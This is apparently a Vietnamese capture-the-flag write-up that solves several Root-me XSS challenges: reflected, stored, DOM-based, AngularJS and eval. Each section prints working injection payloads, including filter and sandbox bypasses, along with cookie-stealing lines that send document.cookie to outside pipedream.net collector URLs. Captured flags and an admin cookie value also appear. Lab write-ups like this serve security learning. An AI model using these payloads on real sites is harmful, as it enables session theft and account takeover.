**Write-up Root-me Challenge - XSS** # XSS Reflected http://challenge01.root-me.org/web-client/ch26/ Có thể thấy tất cả các liên kết đều kết thúc bằng "?p=..." ![Screenshot (60)](https://hackmd.io/_uploads/HyL3eiPNT.png) Inspect, thấy có 1 liên kết được comment lại ``` <!--li><a href="?p=security">Security</a></li--> ``` ![Screenshot (61)](https://hackmd.io/_uploads/BkXfzoDNp.png) Nhập payload http://challenge01.root-me.org/web-client/ch26/?p=security , ta nhận được kết quả: ![Screenshot (62)](https://hackmd.io/_uploads/Hya-miwEp.png) Thử nhập một giá trị khác vào thẻ `<a>` ![Screenshot (64)](https://hackmd.io/_uploads/BJgtViP4p.png) => Thực hiện XSS vào thẻ `<a>` http://challenge01.root-me.org/web-client/ch26/?p=%27onmouseover=%27alert(%22hi%22) , ta nhận được kết quả: ![Screenshot (63)](https://hackmd.io/_uploads/BkUqmiwVT.png) Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eova9bvvwpn2b2z.m.pipedream.net Nhập payload http://challenge01.root-me.org/web-client/ch26/?p=%27onmouseover=%27document.location=%22https://eova9bvvwpn2b2z.m.pipedream.net?%22.concat(document.cookie) Kết quả nhận được chưa có cookie của admin. ![Screenshot (65)](https://hackmd.io/_uploads/Sk5aPivVa.png) Thực hiện lại 1 lần nữa và thêm bước REPOST TO THE ADMINISTRATION, nhận được flag: ![Screenshot (66)](https://hackmd.io/_uploads/rJY_uiPV6.png) Flag: **r3fL3ct3D_XsS_fTw** # XSS-Stored 1 http://challenge01.root-me.org/web-client/ch18/ Thực hiện XSS vào Title và Message bằng payload `<script>alert("hi")</script>` ![Screenshot (67)](https://hackmd.io/_uploads/rygRtiwV6.png) Có thể thấy input của Message có thể thực hiện XSS Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eow4rjproh5n5yz.m.pipedream.net Nhập payload `<script>document.write("<img src='https://eow4rjproh5n5yz.m.pipedream.net/"+document.cookie+"'></img>");</script>` Kết quả nhận được: ![Screenshot (68)](https://hackmd.io/_uploads/ry8Bk3PET.png) Flag: **NkI9qe4cdLIO2P7MIsWS8ofD6** # XSS-Stored 2 http://challenge01.root-me.org/web-client/ch19/ Thực hiện XSS vào input Title và Message bằng payload `"><script>alert("hi")</script>` Thực hiện XSS vào input Title thì không có gì xảy ra, vào input Message thì kết quả nhận được: xuất hiện (status : invite) ![Screenshot (69)](https://hackmd.io/_uploads/BkfKfnD4p.png) Kiểm tra cookies, thấy có một cookie tên "status", value "invite". ![Screenshot (70)](https://hackmd.io/_uploads/S1H073vEa.png) Thực hiện XSS vào cookie status. Thay đổi giá trị cookie thành `"><script>alert("hi")</script>` ![Screenshot (71)](https://hackmd.io/_uploads/BJJYPhvVT.png) Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eow4rjproh5n5yz.m.pipedream.net Để tìm được cookie của admin, thay đổi giá trị của cookie status thành: `"><script>document.write(%22<img src=https://eow4rjproh5n5yz.m.pipedream.net? %22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22/>%22))</script>` ![Screenshot (72)](https://hackmd.io/_uploads/SyHk6nwVp.png) ADMIN_COOKIE: SY2USDIH78TF3DFU78546TE7F Thay đổi Cookie: ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F Kết quả nhận được: ![Screenshot (73)](https://hackmd.io/_uploads/rJrTT3v4T.png) Flag: **E5HKEGyCXQVsYaehaqeJs0AfV** # XSS-DOM Based Introduction http://challenge01.root-me.org/web-client/ch32/ Thực hiện XSS vào input với payload `';{alert(1);}//` ![Screenshot (74)](https://hackmd.io/_uploads/Sk9S1TD46.png) Đồng thời, liên kết cũng thay đổi thành: http://challenge01.root-me.org/web-client/ch32/?number=%27%3B%7Balert%281%29%3B%7D%2F%2F Thực hiện gửi HTTP Request và qua RequestBin chờ cookie. Endpoint nhận được là https://eopovqrq356kwk9.m.pipedream.net Thực hiện XSS vào liên kết: http://challenge01.root-me.org/web-client/ch32/?number=%27;document.location=%27https://eopovqrq356kwk9.m.pipedream.net/?cookies=%27%2bdocument.cookie// ![Screenshot (76)](https://hackmd.io/_uploads/Hy2vt6wNa.png) Dán link vào input trong tab Contact. Kết quả nhận được: ![Screenshot (75)](https://hackmd.io/_uploads/HkJVbTPEa.png) Flag: **rootme{XSS_D0M_BaSed_InTr0}** # XSS DOM Based-AngularJS http://challenge01.root-me.org/web-client/ch35/ Thử nhập 1 giá trị vào input. Có thể thấy, name bị encode. Đồng thời liên kết cũng có đuôi name=giá trị vừa nhập. ![Screenshot (77)](https://hackmd.io/_uploads/Hk3M8tu4p.png) Thực hiện XSS vào input. Tra thử cheatsheet XSS Angular, ta tìm được payload `{{constructor.constructor('alert(1)')()}}` nhưng thử nhập vào input thì kết quả không thấy điều gì đặc biệt. Có thể thấy kí tự ' bị lọc bỏ. Thử thay kí tự ' thành " thì được kết quả: ![Screenshot (78)](https://hackmd.io/_uploads/H1mTrndN6.png) Thực hiện gửi HTTP Request và qua RequestBin. Dùng HTML để bypass kí tự ' thành &#x27; Nhập payload `{{constructor.constructor(&#x27;document.location=" https://eopovqrq356kwk9.m.pipedream.net?".concat(document.cookie)&#x27;)()}}` ![Screenshot (79)](https://hackmd.io/_uploads/SyHtq2dEp.png) Chuyển sang tab Contact để dán link vào input http://challenge01.root-me.org/web-client/ch35/?name={{constructor.constructor(&#x27;document.location=%22%20https://eopovqrq356kwk9.m.pipedream.net?%22.concat(document.cookie)&#x27;)()}} nhưng RequestBin không phản hồi. => Không thể bypass bằng HTML. Tìm trong payloadsallthethings có thể thấy 1 payload `{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}` Nhập payload vào input thì nhận được kết quả ![Screenshot (80)](https://hackmd.io/_uploads/HJnhp3uV6.png) Phương thức valueOf trả về biểu diễn chuỗi của đối số được truyền. Phương thức String.fromCharCode trả về một chuỗi được tạo từ chuỗi đơn vị mã UTF-16 đã chỉ định. Phương thức constructor được sử dụng để có thể khởi tạo rồi thực hiện trả về đối tượng của lớp mà nó đã được nhận định. Payload: http://challenge01.root-me.org/web-client/ch35/?name= {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x (119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 96, 104, 116, 116, 112, 115, 58, 47, 47, 101, 111, 112, 111, 118, 113, 114, 113, 51, 53, 54, 107, 119, 107, 57, 46, 109, 46, 112, 105, 112, 101, 100, 114, 101, 97, 109, 46, 110, 101, 116, 63, 36, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 125, 96))()}} ![Screenshot (81)](https://hackmd.io/_uploads/rJc5G6_4T.png) Flag: rootme{@NGu1@R_J$_1$_C001} # XSS DOM Based-Eval http://challenge01.root-me.org/web-client/ch34/ Nhập 1 phép tính vào input, có thể thấy kết quả được thực hiện trong hàm eval() ![Screenshot (86)](https://hackmd.io/_uploads/B1FazJtNp.png) Nhập +1 vào input, kết quả nhận được ![Screenshot (87)](https://hackmd.io/_uploads/BJPe7Jt4T.png) Phép tính phải có định dạng phù hợp với regex: /^\d+[\+|\-|\*|\/]\d+/ Nghĩa là kí tự đầu tiên là số nguyên, kí tự tiếp theo là các toán tử +, -, *, /, kí tự tiếp theo là số nguyên. Thử XSS vào input, payload `1+1+alert(1)` ![Screenshot (85)](https://hackmd.io/_uploads/SJjqMyFEp.png) Kí tự () đã bị cấm. Nên thay kí tự () thành `` ![Screenshot (88)](https://hackmd.io/_uploads/S1op71KVp.png) XSS thành công. Thực hiện gửi HTTP Request và qua RequestBin. Thử với payload 1+1,`${document.location=" https://eopovqrq356kwk9.m.pipedream.net"}` Kết quả nhận được ![Screenshot (89)](https://hackmd.io/_uploads/BJQeSyY4p.png) Gửi payload http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1`${document.location=%22 https://eopovqrq356kwk9.m.pipedream.net?%22%2Bdocument.cookie}` đến tab Contact. Kết quả nhận được ![Screenshot (90)](https://hackmd.io/_uploads/HySpSktN6.png) Flag: rootme{Eval_Is_DangER0us}